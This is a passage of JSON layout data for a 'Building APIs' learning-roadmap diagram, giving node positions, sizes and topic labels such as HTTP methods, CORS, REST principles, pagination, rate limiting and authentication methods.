\"positionAbsolute\": {\n        \"x\": -571.1381872719934,\n        \"y\": 123.90074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 437\n      }\n    },\n    {\n      \"id\": \"AZoEY2N7PqAQgUl04E3KF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -178.6381872719934,\n        \"y\": -57.599251777651034\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building APIs\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EhPhMi4v4KT3vEUrInsxF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 68,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -178.6381872719934,\n        \"y\": -57.599251777651034\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"duKkpzPjUU_-8kyJGHqRX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -198.1381872719934,\n        \"y\": 123.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"awdoiCHz7Yc3kYac_iy-a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -198.1381872719934,\n        \"y\": 123.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r8M3quACGO2piu0u_R4hO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.1381872719934,\n        \"y\": 63.400748222348966\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What are APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wghrrm4Riz2t7F41H5GK-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -570.1381872719934,\n        \"y\": 63.400748222348966\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2HdKzAIQi15pr3YHHrbPp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -571.1381872719934,\n        \"y\": 122.60000000000008\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mbDiNvkeYo9v3T_DN5uNl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -571.1381872719934,\n        \"y\": 122.60000000000008\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ACALE93mL4gnX5ThRIdRp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.6381872719934,\n        \"y\": 183.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP Versions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"p0C6D4Rt2y_U9atm7X_kt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -560.6381872719934,\n        \"y\": 183.90074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rADHM-6NAxEjzmgiHefDX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.6381872719934,\n        \"y\": 236.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZGD2Y4TgLOzn-mDEhZGXX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -560.6381872719934,\n        \"y\": 236.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7szYyzLifKsepNU0c2KnN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.6381872719934,\n        \"y\": 288.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP Status Codes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"--pZRMVsKFEAhMIgDpGwC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -560.6381872719934,\n        \"y\": 288.90074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rE-0yibRH6B2UBKp351cf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.6381872719934,\n        \"y\": 341.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP Headers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3iwD_eyT4XZRQNIorTF3a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -560.6381872719934,\n        \"y\": 341.40074822234897\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P-rGIk50Bg7nFmWieAW07\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 197.8618127280065,\n        \"y\": 52.100748222348955\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"URL, Query & Path Parameters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aBXHVaEfcChnyF4FPlqHp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 197.8618127280065,\n        \"y\": 52.100748222348955\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UFuX8wcxZQ7dvaQF_2Yp8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.6381872719934,\n        \"y\": 393.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cookies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2tNyxd-8rFQoOsQIClP4O\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -560.6381872719934,\n        \"y\": 393.90074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TX_hg7EobNJhmWKsMCaT1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 197.8618127280065,\n        \"y\": 106.10074822234895\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Negotiation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MKVcPM2EzAr2_Ieyp9Fu3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 197.8618127280065,\n        \"y\": 106.10074822234895\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GRlsBogOlOwuqhMMPyHN3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -559.6381872719934,\n        \"y\": 446.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CORS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -559.6381872719934,\n        \"y\": 446.40074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KG3wO86F8Of27fU7QRcsn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 197.8618127280065,\n        \"y\": 160.10074822234895\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand TCP / IP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MKVcPM2EzAr2_Ieyp9Fu3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 197.8618127280065,\n        \"y\": 160.10074822234895\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v4nJYD9yiIEUviLPhVTCD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 197.8618127280065,\n        \"y\": 214.10074822234895\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of DNS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 197.8618127280065,\n        \"y\": 214.10074822234895\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o8i093VQv-T5Qf1yGqU0R\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -198.1381872719934,\n        \"y\": 330.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Different API Styles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5R9yKfN1vItuv__HgCwP7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -198.1381872719934,\n        \"y\": 330.40074822234897\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BvwdASMvuNQ9DNgzdSZ4o\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -196.3881872719935,\n        \"y\": 438.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RESTful APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MKVcPM2EzAr2_Ieyp9Fu3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.3881872719935,\n        \"y\": 438.90074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TVR-SkErlOHbDKLBGfxep\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -196.3881872719935,\n        \"y\": 492.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Simple JSON APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MKVcPM2EzAr2_Ieyp9Fu3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.3881872719935,\n        \"y\": 492.90074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wwd-0PjrtViMFWxRGaQey\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -196.3881872719935,\n        \"y\": 546.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SOAP APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dqslZ1FfJjCqkWhxY5JGD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.3881872719935,\n        \"y\": 546.900748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MKVcPM2EzAr2_Ieyp9Fu3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -196.3881872719935,\n        \"y\": 600.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WVSgaWgGJKqJYumpdPTCG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -196.3881872719935,\n        \"y\": 600.900748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iA0C1mFlM_73GcL9XNJmF\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -577.1381872719934,\n        \"y\": 600.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit GraphQL Roadmap\",\n        \"href\": \"https://roadmap.sh/graphql\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"MSeNU5cURBInhPlvnhVfO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -577.1381872719934,\n        \"y\": 600.900748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"awdoiCHz7Yc3kYac_iy-a\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 212.7618127280066,\n        \"y\": 548.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building JSON / RESTful APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qHEzyDhqjQSa6vs5UDm_M\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 212.7618127280066,\n        \"y\": 548.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9WI_z34jIFXwoUQuChyRU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 290.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 290.40074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b3qRTLwCC_9uDoPGrd9Bu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 344.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"URI Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 344.40074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"itILK2SXvLvAjk1Kul7EK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 398.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Versioning Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zXxEiM5HeOn7W-Vue0tQf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 398.40074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pgJDzP3pJjhjr5wTRtPJO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 649.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pagination\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 649.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O7wjldZ3yTA2s_F-UnJw_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 703.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rate Limiting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 703.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"20KEgZH6cu_UokqWpV-9I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 757.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Idempotency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 757.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LByD1vhzunhY1uY1YGZHP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 811.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HATEOAS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 811.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zXxEiM5HeOn7W-Vue0tQf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 452.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Handling CRUD Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 452.40074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8tELdagrOaGCf3nMVs8t3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 223.2618127280066,\n        \"y\": 865.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Error Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5CxU3inGcSHp-TDg3BQiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 223.2618127280066,\n        \"y\": 865.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5CxU3inGcSHp-TDg3BQiY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -165.6381872719934,\n        \"y\": 865.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RFC 7807 -  Problem Details for APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MKVcPM2EzAr2_Ieyp9Fu3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -165.6381872719934,\n        \"y\": 865.400748222349\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 327,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 327,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eUsorPQ8VRLJs28J8dyk2\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -318.1381872719934,\n        \"y\": 728.9974788763272\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Authentication and Authorization\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 371,\n      \"height\": 69,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -318.1381872719934,\n        \"y\": 728.9974788763272\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 371,\n        \"height\": 69\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 371,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"qAolZHf_jp8hCdtqHZwC8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -559.1381872719934,\n        \"y\": 498.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -559.1381872719934,\n        \"y\": 498.90074822234897\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cQnQ9v3mH27MGNwetz3JW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -601.4010478029121,\n        \"y\": 859.6211541412258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authentication Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        